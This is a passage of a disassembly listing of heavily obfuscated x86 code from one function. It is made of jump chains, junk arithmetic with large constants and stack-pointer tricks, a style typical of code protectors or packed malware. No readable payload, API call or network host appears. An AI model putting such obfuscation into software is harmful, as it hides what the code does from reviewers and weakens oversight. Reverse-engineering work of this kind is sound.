78BA6546h mov edx, ebp pop ebp add edx, 35F84364h push ebp mov ebp, 46D96DA8h sub esp, 4 mov [esp-6E68h+arg_6E60], eax mov eax, 268A1878h jmp loc_59B9B9 ; --------------------------------------------------------------------------- loc_5A2AA8: ; CODE XREF: sub_581EE9+23FF5j add ebx, 4 xchg ebx, [esp-6E68h+arg_6E60] jmp loc_5A082D ; --------------------------------------------------------------------------- loc_5A2AB6: ; CODE XREF: sub_581EE9+212FCj mov [esp-6E68h+arg_6E60], esi push edx jmp loc_5A5289 ; --------------------------------------------------------------------------- loc_5A2ABF: ; CODE XREF: sub_581EE9+209CFj xchg eax, [esp-6E5Ch+arg_6E54] jmp loc_5A209C ; --------------------------------------------------------------------------- loc_5A2AC7: ; CODE XREF: sub_581EE9+1ACDEj inc esi jmp loc_5A32F8 ; --------------------------------------------------------------------------- loc_5A2ACD: ; CODE XREF: sub_581EE9+19F00j add eax, 3CFE49CCh sub esp, 4 mov [esp-6EBEh+arg_6EB6], eax mov ebx, [esp-6EBEh+arg_6EB6] add esp, 4 pop eax add edi, ebx pop ebx jmp loc_5939EC ; --------------------------------------------------------------------------- loc_5A2AED: ; CODE XREF: sub_581EE9+103E3j mov ebp, edx pop edx add ebp, 5091CF76h sub edx, ebp jmp loc_59997D ; --------------------------------------------------------------------------- loc_5A2AFD: ; CODE XREF: sub_581EE9+14631j mov eax, [esp-6EB2h+arg_6EA8+2] sub esp, 4 mov [esp-6EAEh+arg_6EA4+2], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6EAEh+arg_6EA4+2] pop esp sub ebx, 760C4EF6h push edx jmp loc_595C04 ; --------------------------------------------------------------------------- loc_5A2B23: ; CODE XREF: sub_581EE9+115DAj sub ebp, 0CC5674FCh push esi push edx mov edx, 11214D7h mov esi, edx pop edx shr esi, 3 add esi, 75F620E4h sub ebx, esi pop esi add ebx, ebp push edi push ebp mov ebp, 7618637Eh mov edi, ebp pop ebp add ebx, edi pop edi mov ebp, [esp-6E6Ah+arg_6E60+2] add esp, 4 xor ebx, [esp-6E6Eh+arg_6E64+2] xor [esp-6E6Eh+arg_6E64+2], ebx xor ebx, [esp-6E6Eh+arg_6E64+2] jmp loc_5939C9 ; --------------------------------------------------------------------------- loc_5A2B65: ; CODE XREF: sub_581EE9+228F9j mov ecx, [esp-6E6Eh+arg_6E64+2] jmp loc_59E32C ; --------------------------------------------------------------------------- loc_5A2B6D: ; CODE XREF: sub_581EE9+13F76j mov [esp-6EA4h+arg_6E9A+2], ebx push esp mov ebx, [esp-6EA0h+arg_6E96+2] add esp, 4 add ebx, 4 jmp loc_5985F8 ; --------------------------------------------------------------------------- loc_5A2B85: ; CODE XREF: sub_581EE9+10D76j mov eax, 4 add dword ptr [esp-6E7Eh+arg_6E7A], eax jmp loc_5A02D1 ; --------------------------------------------------------------------------- loc_5A2B93: ; CODE XREF: sub_581EE9+1B5ECj mov ecx, 320C6218h jmp loc_5A1CE5 ; --------------------------------------------------------------------------- loc_5A2B9D: ; CODE XREF: sub_581EE9+1410Cj mov [esp-6E60h+arg_6E58], eax jmp loc_59BDE0 ; --------------------------------------------------------------------------- loc_5A2BA5: ; CODE XREF: sub_581EE9+20A5Dj shl cl, 8 sub cl, 0B3h mov al, cl pop ecx xor al, 17h and al, 94h inc al add al, 28h jmp loc_5989F0 ; --------------------------------------------------------------------------- loc_5A2BBB: ; CODE XREF: sub_581EE9+1C0F1j pop edx jmp loc_5A0BD3 ; --------------------------------------------------------------------------- loc_5A2BC1: ; CODE XREF: sub_581EE9+1D615j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-6EA4h+arg_6E9A+2] jmp loc_5A4227 ; --------------------------------------------------------------------------- loc_5A2BD5: ; CODE XREF: sub_581EE9+19524j sub ecx, ebp jmp loc_594014 ; --------------------------------------------------------------------------- loc_5A2BDC: ; CODE XREF: sub_581EE9+17F4Ej xor al, bl push dx jmp loc_5A1521 ; --------------------------------------------------------------------------- loc_5A2BE5: ; CODE XREF: sub_581EE9+1C990j mov [esp-6EACh+arg_6EA4], ebp push esp pop ebp push ecx push eax jmp loc_59F269 ; --------------------------------------------------------------------------- loc_5A2BF1: ; CODE XREF: sub_581EE9+16D79j sub ecx, 71EF293Ch sub ecx, 2D121BCh shl ecx, 4 xor ecx, 1206A0E4h add edi, ecx pop ecx add edi, 4 jmp loc_59D68B ; --------------------------------------------------------------------------- loc_5A2C11: ; CODE XREF: sub_581EE9+11770j inc ecx sub ecx, 35F51332h neg ecx add ecx, 0EC1BF553h add esi, ecx pop ecx push ebx mov ebx, 56EA5F12h push ebp mov ebp, 1 add ebx, ebp pop ebp push edi mov edi, 56EA5F17h xor ebx, edi mov edi, [esp-6E86h+arg_6E7C+2] add esp, 4 sub esp, 4 mov [esp-6E86h+arg_6E7C+2], edx mov edx, 0FF17E7h sub edx, 0A62104Bh push ebp mov ebp, 3FCB5C8Dh shl ebp, 1 sub ebp, 322B5D54h add edx, ebp jmp loc_5A1D63 ; --------------------------------------------------------------------------- loc_5A2C69: ; CODE XREF: sub_581EE9+1290Ej pop edi add edi, 4 push edx mov edx, 2 push ebx push edx push eax mov eax, 6F0F45C3h sub eax, 119564E1h dec eax jmp loc_5956D5 ; --------------------------------------------------------------------------- loc_5A2C89: ; CODE XREF: sub_581EE9+1FE25j push [esp-6E5Ah+arg_6E50+2] pop edi sub esp, 4 mov [esp-6E56h+arg_6E4C+2], edi push esp pop edi push ebp mov ebp, 4 add edi, ebp jmp loc_59F8F3 ; --------------------------------------------------------------------------- loc_5A2CA2: ; CODE XREF: sub_581EE9+243C7j push eax push ebp mov ebp, 0A462902h jmp loc_5A40D3 ; --------------------------------------------------------------------------- loc_5A2CAE: ; CODE XREF: sub_581EE9+17B4Aj sub esp, 4 mov [esp-6E8Eh+arg_6E84+2], edi push 45751C07h mov edi, [esp-6E8Ah+arg_6E80+2] add esp, 4 xor edi, 604A1531h shr edi, 6 push eax jmp loc_5A6DDE ; --------------------------------------------------------------------------- loc_5A2CCE: ; CODE XREF: sub_581EE9+213DDj add esi, ebp pop ebp xor esi, [esp-6E8Eh+arg_6E84+2] xor [esp-6E8Eh+arg_6E84+2], esi jmp loc_5A0DCC ; --------------------------------------------------------------------------- loc_5A2CDC: ; CODE XREF: sub_581EE9+181DCj mov [esp-6E7Ah+arg_6E72], ebp push edx mov edx, 183E68BEh sub edx, 0A4FF4847h mov ebp, edx pop edx shl ebp, 6 sub ebp, 6F2808A6h push 6BFEh mov [esp-6E76h+arg_6E6E], ebp neg [esp-6E76h+arg_6E6E] pop ebp sub ebp, 9B838591h xor [esp-6E7Ah+arg_6E76], ebp jmp loc_5A3987 ; --------------------------------------------------------------------------- loc_5A2D12: ; CODE XREF: sub_581EE9+23B8Aj mov ch, 96h push ecx mov cl, 0FBh or cl, 0E2h inc cl shr cl, 4 not cl sub cl, 67h push edx mov dh, 0CDh jmp loc_5A0728 ; --------------------------------------------------------------------------- loc_5A2D2C: ; CODE XREF: sub_581EE9+12000j mov [esp-6E92h+arg_6E8A], edx jmp loc_59537E ; --------------------------------------------------------------------------- loc_5A2D34: ; CODE XREF: sub_581EE9+16EC5j mov ax, word ptr [esp-6ED0h+arg_6EC6+2] push 6706h mov [esp-6ECCh+arg_6EC2+2], ebx jmp loc_5A15D0 ; --------------------------------------------------------------------------- loc_5A2D45: ; CODE XREF: sub_581EE9+1D874j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A2D4A: ; CODE XREF: sub_581EE9+17766j sub ebx, 5C3D2740h sub ebx, 34B72714h add ebx, ecx jmp loc_59AEA8 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E8Ch+arg_6E84] push eax mov eax, esp add eax, 4 add eax, 2 push ecx mov ecx, esp jmp loc_59EAAD ; --------------------------------------------------------------------------- loc_5A2D74: ; CODE XREF: sub_581EE9+105C8j xchg edi, [esp-6EA4h+arg_6E9A+2] pop esp jmp loc_597FD9 ; --------------------------------------------------------------------------- loc_5A2D7D: ; CODE XREF: sub_581EE9+22A59j push dx jmp loc_59947B ; --------------------------------------------------------------------------- loc_5A2D84: ; CODE XREF: sub_581EE9+141ACj sub edi, 5DA738AAh dec edi xor edi, 875EA645h push edi add [esp-6E8Eh+arg_6E84+2], 9677EF1h pop ebp sub ebp, 9677EF1h pop edi jmp loc_5A20D6 ; --------------------------------------------------------------------------- loc_5A2DA6: ; CODE XREF: sub_581EE9+209EDj push eax mov ah, 0B7h inc ah not ah sub ah, 25h and cl, ah pop eax dec cl neg cl sub cl, 93h mov dl, cl pop ecx xor dl, 1Ah jmp loc_595253 ; --------------------------------------------------------------------------- loc_5A2DC5: ; CODE XREF: sub_581EE9+12E51j mov ebp, [esp-6EACh+arg_6EA4] jmp loc_59777E ; --------------------------------------------------------------------------- loc_5A2DCD: ; CODE XREF: sub_581EE9+24F14j add esp, 4 mov ebx, edi mov edi, [esp-6EB0h+arg_6EA8] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6EACh+arg_6EA4] pop esp sub esp, 4 mov [esp-6EACh+arg_6EA4], ebp sub esp, 4 jmp loc_59F5B5 ; --------------------------------------------------------------------------- loc_5A2DF7: ; CODE XREF: sub_581EE9+1047Aj push [esp-6EB4h+arg_6EAC] push [esp-6EB0h+arg_6EA8] pop eax add esp, 4 push ecx push esp jmp loc_5A4BE0 ; --------------------------------------------------------------------------- loc_5A2E0B: ; CODE XREF: sub_581EE9+19BC6j add ebx, eax add ebx, 506F4698h push edx mov edx, 4E57518Dh sub ebx, edx jmp loc_5A57EA ; --------------------------------------------------------------------------- loc_5A2E20: ; CODE XREF: sub_581EE9+1ED92j xor ebx, 0A60CA166h jmp loc_598355 ; --------------------------------------------------------------------------- loc_5A2E2B: ; CODE XREF: sub_581EE9+18F66j xchg eax, ebp not ebp xchg eax, ebp xchg eax, ebp jmp loc_592AB7 ; --------------------------------------------------------------------------- loc_5A2E35: ; CODE XREF: sub_581EE9+15843j sub eax, 772F3982h sub eax, ebx add eax, 772F3982h pop ebx shr eax, 6 or eax, 3A17099Bh xor eax, ecx xor ecx, eax jmp loc_5A6ADB ; --------------------------------------------------------------------------- loc_5A2E53: ; CODE XREF: sub_581EE9+25150j add esi, 4 add esi, 4 jmp loc_597627 ; --------------------------------------------------------------------------- loc_5A2E64: ; CODE XREF: sub_581EE9+120CAj shr edi, 3 jmp loc_5A5F5B ; --------------------------------------------------------------------------- loc_5A2E6C: ; CODE XREF: sub_581EE9+12362j mov edi, 4 jmp loc_597D20 ; --------------------------------------------------------------------------- loc_5A2E76: ; CODE XREF: sub_581EE9+2409Bj pop esi push edi jmp loc_596DE6 ; --------------------------------------------------------------------------- loc_5A2E7D: ; CODE XREF: sub_581EE9+130F4j push [esp-6E8Ch+arg_6E84] push [esp-6E88h+arg_6E80] pop edi push ebp push esp pop ebp push edi push 4 pop edi add ebp, edi pop edi jmp loc_597D0E ; --------------------------------------------------------------------------- loc_5A2E96: ; CODE XREF: sub_581EE9+16EA9j mov [esp-6EC8h+arg_6EBE+2], esi mov esi, 60DD73DFh push 3384h mov [esp-6EC4h+arg_6EBA+2], edx mov edx, 68E814C9h jmp loc_5931F9 ; --------------------------------------------------------------------------- loc_5A2EB0: ; CODE XREF: sub_581EE9+165C8j push 121Ah jmp loc_599DDA ; --------------------------------------------------------------------------- loc_5A2EBA: ; CODE XREF: sub_581EE9+11B78j or ebp, 45050BE7h push ebp add [esp-6E7Ah+arg_6E72], 1 pop ebp xor ebp, 389927CDh xor edx, ebp mov ebp, [esp-6E7Eh+arg_6E76] add esp, 4 add edi, edx jmp loc_592253 ; --------------------------------------------------------------------------- push dword ptr [esp] push [esp-6E7Eh+arg_6E76] pop ecx jmp loc_5A0DDF ; --------------------------------------------------------------------------- loc_5A2EEA: ; CODE XREF: sub_581EE9+15104j pop edx jmp loc_59748D ; --------------------------------------------------------------------------- loc_5A2EF0: ; CODE XREF: sub_581EE9+21128j add esp, 4 xchg eax, [esp-6E5Ch+arg_6E54] mov esp, [esp-6E5Ch+arg_6E54] mov [esp-6E5Ch+arg_6E54], ebp push edx jmp loc_59BC1B ; --------------------------------------------------------------------------- loc_5A2F02: ; CODE XREF: sub_581EE9+23BFDj xor esi, [esp-6E58h+arg_6E50] mov esp, [esp-6E58h+arg_6E50] idiv cx jmp loc_596D40 ; --------------------------------------------------------------------------- loc_5A2F10: ; CODE XREF: sub_581EE9+14961j add esp, 4 push 594Eh jmp loc_5A5186 ; --------------------------------------------------------------------------- loc_5A2F1D: ; CODE XREF: sub_581EE9+18713j xor ebx, 5758151Ch or ebx, 11D71F11h sub ebx, 0E3D1B4B3h add ecx, ebx pop ebx sub ecx, 43D706E9h sub ecx, 61A8163Ah push 70A9h mov [esp-6E6Ah+arg_6E60+2], ebx mov bh, al jmp loc_59BD13 ; --------------------------------------------------------------------------- loc_5A2F4D: ; CODE XREF: sub_581EE9+10481j pop ebx jmp loc_592BFF ; --------------------------------------------------------------------------- loc_5A2F53: ; CODE XREF: sub_581EE9+1FBAEj pop edx dec ebx jmp loc_593A3E ; --------------------------------------------------------------------------- loc_5A2F5A: ; CODE XREF: sub_581EE9+12CACj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-6E6Ch+arg_6E64] pop esp pop [esp-6E70h+arg_6E68] mov esp, [esp+0] or [esp+0], ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A2F79: ; CODE XREF: sub_581EE9+1CF27j pop edx add edx, 4 jmp loc_59A81F ; --------------------------------------------------------------------------- loc_5A2F85: ; CODE XREF: sub_581EE9+20AC2j push 68E1h jmp loc_5A7128 ; --------------------------------------------------------------------------- loc_5A2F8F: ; CODE XREF: sub_581EE9+1754Ej add esp, 4 pop [esp-6E9Ah+arg_6E92] pop esp jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A2F9B: ; CODE XREF: sub_581EE9+1E266j push ebp mov ebp, 76B76F13h sub edx, ebp pop ebp pop eax push 0E9Bh mov [esp-6E8Ch+arg_6E84], edx push dword ptr [esp+4] pop edx pop [esp-6E8Ch+arg_6E84] pop esp jmp loc_5A306A ; --------------------------------------------------------------------------- loc_5A2FBB: ; CODE XREF: sub_581EE9+234CFj push edx mov edx, 2D172C18h xor ebx, edx jmp loc_598FCC ; --------------------------------------------------------------------------- loc_5A2FC8: ; CODE XREF: sub_581EE9+1C3DDj sub ebx, 10E18F0Ch sub eax, 2DE73CB2h add eax, ebx add eax, 2DE73CB2h pop ebx add eax, ecx sub eax, 7C050DE2h sub eax, 14E616FAh jmp loc_59B4C5 ; --------------------------------------------------------------------------- loc_5A2FEC: ; CODE XREF: sub_581EE9+20398j xchg ah, dh and dh, 0D7h shl dh, 1 or dh, 0C5h add dh, 0BEh xor dh, 65h jmp loc_5A1617 ; --------------------------------------------------------------------------- loc_5A3001: ; CODE XREF: sub_581EE9+1A915j sub eax, 58E43C72h sub eax, ecx add eax, 58E43C72h push [esp-6E8Ah+arg_6E80+2] pop ecx jmp loc_5A2EF0 ; --------------------------------------------------------------------------- loc_5A3016: ; CODE XREF: sub_581EE9+1C973j pop eax xor al, dl mov dx, word ptr [esp-6EA8h+arg_6E9E+2] sub esp, 4 mov [esp-6EA4h+arg_6E9A+2], edx mov edx, esp push ebp mov ebp, esp push esi jmp loc_5A681A ; --------------------------------------------------------------------------- loc_5A3031: ; CODE XREF: sub_581EE9+12941j sub esi, 479832C9h add ebp, esi pop esi jmp loc_597211 ; --------------------------------------------------------------------------- loc_5A303F: ; CODE XREF: sub_581EE9+1B1F5j xor ecx, [esp-6E80h+arg_6E76+2] xor [esp-6E80h+arg_6E76+2], ecx xor ecx, [esp-6E80h+arg_6E76+2] pop esp or edx, eax shl edx, 1 push 5346h jmp loc_5A5454 ; --------------------------------------------------------------------------- loc_5A3057: ; CODE XREF: sub_581EE9+1AE31j sub ecx, 644A1D39h add ecx, edx add ecx, 644A1D39h jmp loc_59CDB6 ; --------------------------------------------------------------------------- loc_5A306A: ; CODE XREF: sub_581EE9+210CDj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A306F: ; CODE XREF: sub_581EE9+1FFB7j add [esp-6E84h+arg_6E80], ebp jmp loc_599374 ; --------------------------------------------------------------------------- loc_5A3078: ; CODE XREF: sub_581EE9+13C3Ej sub edi, 7D884A2Fh add edi, edx jmp loc_597526 ; --------------------------------------------------------------------------- loc_5A3085: ; CODE XREF: sub_581EE9+22812j push eax mov eax, 36FA449Eh jmp loc_59709A ; --------------------------------------------------------------------------- loc_5A3090: ; CODE XREF: sub_581EE9+12ADAj pop ecx jmp loc_5958C1 ; --------------------------------------------------------------------------- loc_5A3096: ; CODE XREF: sub_581EE9+120C0j sub ch, 3 push 71Dh mov [esp-6EB4h+arg_6EAC], ecx mov cl, 96h push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_599A11 ; --------------------------------------------------------------------------- loc_5A30B4: ; CODE XREF: sub_581EE9+216A2j add esp, 4 push ebp sub esp, 4 mov [esp-6EACh+arg_6EA4], edi push 60602868h pop edi jmp loc_59C6CC ; --------------------------------------------------------------------------- loc_5A30CF: ; CODE XREF: sub_581EE9+106E8j add edx, 4 sub edx, 4 jmp loc_596F93 ; --------------------------------------------------------------------------- loc_5A30DD: ; CODE XREF: sub_581EE9+11146j mov eax, esp push edx mov edx, 4 sub eax, 336D2926h add eax, edx add eax, 336D2926h mov edx, [esp-6E5Ah+arg_6E50+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-6E56h+arg_6E4C+2] pop esp add eax, 4 xchg eax, [esp-6E5Ah+arg_6E50+2] mov esp, [esp-6E5Ah+arg_6E50+2] push 799Bh mov [esp-6E56h+arg_6E4C+2], eax jmp loc_5A0CEE ; --------------------------------------------------------------------------- loc_5A311C: ; CODE XREF: sub_581EE9+23A1Cj mov [esp-6E56h+arg_6E4C+2], esi mov esi, 622517AAh dec esi shl esi, 1 add esi, 6EAC43EEh jmp loc_59C206 ; --------------------------------------------------------------------------- loc_5A3132: ; CODE XREF: sub_581EE9+124DEj push edi jmp loc_59F6ED ; --------------------------------------------------------------------------- loc_5A3138: ; CODE XREF: sub_581EE9+1A718j sub ebp, eax pop eax pop eax push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp-6EB0h+arg_6EA8] mov esp, [esp-6EB0h+arg_6EA8] mov [esp-6EB0h+arg_6EA8], edx mov edx, 4 add ebp, edx jmp loc_598A80 ; --------------------------------------------------------------------------- loc_5A315D: ; CODE XREF: sub_581EE9+207ADj pop edx push edx mov edx, 2D2F74E4h xor edx, 0D1E18A1h inc edx push eax push 69FA2DCDh pop eax shr eax, 1 inc eax jmp loc_596C19 ; --------------------------------------------------------------------------- loc_5A317A: ; CODE XREF: sub_581EE9+22ECEj pop esi sub ecx, edi pop edi xchg ecx, [esp-6EC8h+arg_6EBE+2] jmp loc_593FF2 ; --------------------------------------------------------------------------- loc_5A3186: ; CODE XREF: sub_581EE9+1CB85j push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 xchg edx, [esp+0] jmp loc_5A6907 ; --------------------------------------------------------------------------- loc_5A319D: ; CODE XREF: sub_581EE9+229B2j mov [esp+0], eax jmp loc_5A21D2 ; --------------------------------------------------------------------------- loc_5A31A5: ; CODE XREF: sub_581EE9+12E58j mov ebp, 7DC84040h add esi, 1B723ACEh sub esi, ebp jmp loc_59C2F3 ; --------------------------------------------------------------------------- loc_5A31B7: ; CODE XREF: sub_581EE9+12225j push edx jmp loc_5986F3 ; --------------------------------------------------------------------------- mov eax, [esp-6E72h+arg_6E68+2] push edi mov edi, esp add edi, 4 push esi push eax push ebp jmp loc_59594C ; --------------------------------------------------------------------------- loc_5A31D1: ; CODE XREF: sub_581EE9+15A86j pop ecx mov ecx, ebx pop ebx mov ebp, ecx mov ecx, [esp-6E70h+arg_6E68] jmp loc_5A3BF7 ; --------------------------------------------------------------------------- loc_5A31DF: ; CODE XREF: sub_581EE9+11029j pop esp push 2ACBh jmp loc_5A2AB6 ; --------------------------------------------------------------------------- loc_5A31EA: ; CODE XREF: sub_581EE9+16AA7j sub edx, 62DD7859h pop ebp push [esp-6EACh+arg_6EA4] pop eax jmp loc_5A6426 ; --------------------------------------------------------------------------- loc_5A31FA: ; CODE XREF: sub_581EE9+146C7j pop eax sub esp, 4 mov [esp-6E96h+arg_6E8E], esi push [esp-6E96h+arg_6E92] mov esi, [esp-6E92h+arg_6E8A] add esp, 4 pop [esp-6E96h+arg_6E8E] mov esp, [esp-6E9Ah+arg_6E92] jmp loc_59270F ; --------------------------------------------------------------------------- loc_5A3219: ; CODE XREF: sub_581EE9+10C20j mov [esp-6EA0h+arg_6E96+2], edi push ecx mov cx, 3D12h jmp loc_5987C1 ; --------------------------------------------------------------------------- loc_5A3226: ; CODE XREF: sub_581EE9+13D7Aj add esi, 7EF80DFAh push [esp-6E7Ch+arg_6E72+2] pop ebp push 1B72h mov [esp-6E78h+arg_6E6E+2], eax mov eax, esp jmp loc_5A05FE ; --------------------------------------------------------------------------- loc_5A323F: ; CODE XREF: sub_581EE9+17C89j pop ebx or ch, 0CCh xor ch, 4Eh jmp loc_5A1DA5 ; --------------------------------------------------------------------------- loc_5A324B: ; CODE XREF: sub_581EE9+1D1D5j push esp jmp loc_595C9B ; --------------------------------------------------------------------------- loc_5A3251: ; CODE XREF: sub_581EE9+21B9Bj xchg edx, [esp-6EACh+arg_6EA4] jmp loc_5A0B63 ; --------------------------------------------------------------------------- loc_5A3259: ; CODE XREF: sub_581EE9+1E12Fj pop eax add ebx, edi pop edi jmp loc_597322 ; --------------------------------------------------------------------------- loc_5A3262: ; CODE XREF: sub_581EE9+114F7j mov edx, ecx jmp loc_593648 ; --------------------------------------------------------------------------- loc_5A3269: ; CODE XREF: sub_581EE9+205C6j sub ax, 7A86h pop si push edi mov di, 3F1Ch shl di, 3 push small 0 add word ptr [esp-6E62h+arg_6E58+2], 6728h jmp loc_5A3EBE ; --------------------------------------------------------------------------- loc_5A3287: ; CODE XREF: sub_581EE9+1680Fj pop [esp-6E9Ch+arg_6E92+2] pop esp jmp loc_59C1A8 ; --------------------------------------------------------------------------- loc_5A3290: ; CODE XREF: sub_581EE9+21D1Fj pop ebp not ebx shr ebx, 4 jmp loc_59A0A0 ; --------------------------------------------------------------------------- loc_5A329B: ; CODE XREF: sub_581EE9+1FB0Dj mov [esp-6E64h+arg_6E5C], edi mov edi, esp add edi, 4 add edi, 2 xchg edi, [esp-6E64h+arg_6E5C] pop esp push eax push 35B9h mov [esp-6E60h+arg_6E58], ecx jmp loc_5A485D ; --------------------------------------------------------------------------- loc_5A32BB: ; CODE XREF: sub_581EE9+14BE1j mov esp, [esp+0] mov [esp+0], ebp mov ebp, 2 jmp loc_5A2CCE ; --------------------------------------------------------------------------- loc_5A32CB: ; CODE XREF: sub_581EE9+24A09j pop eax jmp loc_59345D ; --------------------------------------------------------------------------- loc_5A32D1: ; CODE XREF: sub_581EE9+14682j sub esi, 0D7BEF921h mov eax, esi jmp loc_59A1EB ; --------------------------------------------------------------------------- loc_5A32DE: ; CODE XREF: sub_581EE9+143A9j pop ecx mov dl, bh mov ebx, [esp-6EB0h+arg_6EA8] push ebx mov ebx, esp jmp loc_59367F ; --------------------------------------------------------------------------- loc_5A32EC: ; CODE XREF: sub_581EE9+17853j push esi mov esi, 5BBC424Ah inc esi jmp loc_5A70A9 ; --------------------------------------------------------------------------- loc_5A32F8: ; CODE XREF: sub_581EE9+20BDFj sub esi, 0AA1CD214h xor esi, ebp pop ebp jmp loc_5A22CB ; --------------------------------------------------------------------------- loc_5A3306: ; CODE XREF: sub_581EE9+17C5Dj push 6C89h mov [esp-6E7Eh+arg_6E76], ebx push edx mov dh, 1Dh push eax mov ah, dh mov bl, ah pop eax jmp loc_595CF5 ; --------------------------------------------------------------------------- loc_5A331C: ; CODE XREF: sub_581EE9+2253Aj sub bx, 75A7h jmp loc_5968A2 ; --------------------------------------------------------------------------- loc_5A3326: ; CODE XREF: sub_581EE9+16307j mov [esp-6E88h+arg_6E80], esp add [esp-6E88h+arg_6E80], 4 pop ebp jmp loc_5A4E7D ; --------------------------------------------------------------------------- loc_5A3336: ; CODE XREF: sub_581EE9+1681Dj xor dh, ch pop ecx push ebx jmp loc_598773 ; --------------------------------------------------------------------------- loc_5A333F: ; CODE XREF: sub_581EE9+2523Aj push dword ptr [esp+0] pop ecx add esp, 4 add esp, 4 jmp loc_5A273E ; --------------------------------------------------------------------------- loc_5A334E: ; CODE XREF: sub_581EE9+145C6j pop eax add eax, edx pop edx pop ebp sub eax, 158F7722h sub eax, ebx add eax, 158F7722h push 6092h mov [esp-6E56h+arg_6E4C+2], ebp mov ebp, 3C2B4D34h not ebp add ebp, 2BE53746h shr ebp, 8 dec ebp inc ebp sub ebp, 0C2D88B01h sub eax, 7BFE2777h jmp loc_5999A6 ; --------------------------------------------------------------------------- loc_5A3389: ; CODE XREF: sub_581EE9+1B7E3j push dword ptr [esp-6EAAh+arg_6EA2] pop ecx sub esp, 4 mov [esp-6EA6h+arg_6E9E], edi push esp pop edi add edi, 4 add edi, 4 jmp loc_597635 ; --------------------------------------------------------------------------- push [esp-6EA6h+arg_6E9E] push [esp-6EA2h+arg_6E9A] pop edx add esp, 4 sub esp, 4 mov [esp-6EA2h+arg_6E9A], eax push esp pop eax push ebp push ebx mov ebx, 175E3AECh xchg edx, ebx jmp loc_59C8A1 ; --------------------------------------------------------------------------- loc_5A33C6: ; CODE XREF: sub_581EE9+1ABA7j push edi push ebp mov ebp, 6D1C33D8h jmp loc_599B33 ; --------------------------------------------------------------------------- loc_5A33D2: ; CODE XREF: sub_581EE9+17316j add dl, ch add dl, 6Ah push [esp-6E7Ah+arg_6E72] pop ecx add esp, 4 add bl, 71h add bl, dl push edx jmp loc_59E8FB ; --------------------------------------------------------------------------- loc_5A33EC: ; CODE XREF: sub_581EE9+127C7j or edx, 37E10D8h add edx, 4BE7547Fh jmp loc_597FFE ; --------------------------------------------------------------------------- loc_5A33FD: ; CODE XREF: sub_581EE9+15CB2j mov [esp-6EA0h+arg_6E96+2], ebx jmp loc_5A413B ; --------------------------------------------------------------------------- loc_5A3405: ; CODE XREF: sub_581EE9+1841Cj sub edi, eax add edi, 604B6405h mov eax, [esp-6EB0h+arg_6EA8] jmp loc_59A5C7 ; --------------------------------------------------------------------------- loc_5A3415: ; CODE XREF: sub_581EE9+1E3F6j mov edx, eax pop eax mov ecx, 0CB15F6C7h add ecx, edx pop edx push edx jmp loc_594C6E ; --------------------------------------------------------------------------- loc_5A3426: ; CODE XREF: sub_581EE9+15E78j push [esp-6EAAh+arg_6EA4+2] mov ebx, [esp-6EA6h+arg_6E9E] add esp, 4 pop dword ptr [esp-6EAAh+arg_6EA2] mov esp, [esp-6EAEh+arg_6EA4+2] mov [esp-6EAEh+arg_6EA4+2], ecx jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A343E: ; CODE XREF: sub_581EE9+172C3j add al, bl mov ebx, [esp-6E6Eh+arg_6E64+2] add esp, 4 jmp loc_5A4F1D ; --------------------------------------------------------------------------- loc_5A344B: ; CODE XREF: sub_581EE9+22149j add esp, 4 sub esp, 4 mov [esp-6E72h+arg_6E68+2], ecx mov ecx, 4 push 55E8h mov [esp-6E6Eh+arg_6E64+2], eax mov eax, 5FD43B84h add ebx, eax mov eax, [esp-6E6Eh+arg_6E64+2] jmp loc_59964C ; --------------------------------------------------------------------------- loc_5A3470: ; CODE XREF: sub_581EE9+11AB9j mov dh, 77h jmp loc_598C94 ; --------------------------------------------------------------------------- loc_5A3477: ; CODE XREF: sub_581EE9+1BD89j pop esp mul cl movzx cx, ah push small 2CB9h mov word ptr [esp-6E78h+arg_6E6E+2], cx jmp loc_5A1C59 ; --------------------------------------------------------------------------- loc_5A348B: ; CODE XREF: sub_581EE9+1973Aj sub ebp, 62B6767Dh add ebp, 0FFFFFFFFh sub esp, 4 mov [esp+0], edx mov edx, 3BC06AE6h add edx, 0EF617A42h sub ebp, edx jmp loc_5A4FAE ; --------------------------------------------------------------------------- loc_5A34AF: ; CODE XREF: sub_581EE9+20353j push eax mov eax, 4 sub ebx, eax pop eax xor ebx, [esp-6E46h+arg_6E3E] xor [esp-6E46h+arg_6E3E], ebx jmp loc_5A14D4 ; --------------------------------------------------------------------------- loc_5A34C3: ; CODE XREF: sub_581EE9+21746j push ecx mov ecx, 1151780h add ecx, 0FEEAE884h jmp loc_5A01FB ; --------------------------------------------------------------------------- loc_5A34D4: ; CODE XREF: sub_581EE9+20030j mov edi, 15694801h xchg esi, edi jmp loc_59402A ; --------------------------------------------------------------------------- loc_5A34E0: ; CODE XREF: sub_581EE9+24067j xchg eax, [esp-6EA4h+arg_6E9A+2] pop esp jmp loc_59AEF7 ; --------------------------------------------------------------------------- loc_5A34E9: ; CODE XREF: sub_581EE9+1E085j pop edx push 4939h mov [esp-6E88h+arg_6E80], ebx push ecx jmp loc_59A4DA ; --------------------------------------------------------------------------- loc_5A34F8: ; CODE XREF: sub_581EE9+2406Dj mov cl, 0D7h add cl, 0D8h sub cl, bl sub cl, 0D8h pop ebx sub al, 0E9h sub al, cl add al, 0E9h jmp loc_593E70 ; --------------------------------------------------------------------------- loc_5A350E: ; CODE XREF: sub_581EE9+1A8ABj pop ebp add ebx, esi jmp loc_594414 ; --------------------------------------------------------------------------- loc_5A3516: ; CODE XREF: sub_581EE9+17557j push 2CED228Bh pop ebp sub ebp, 0B142BA5Fh push ebp xor dword ptr [esp+0], 378B7A74h jmp loc_592FD3 ; --------------------------------------------------------------------------- loc_5A352F: ; CODE XREF: sub_581EE9+21D99j pop ebp sub edx, esi jmp loc_5A4FCF ; --------------------------------------------------------------------------- 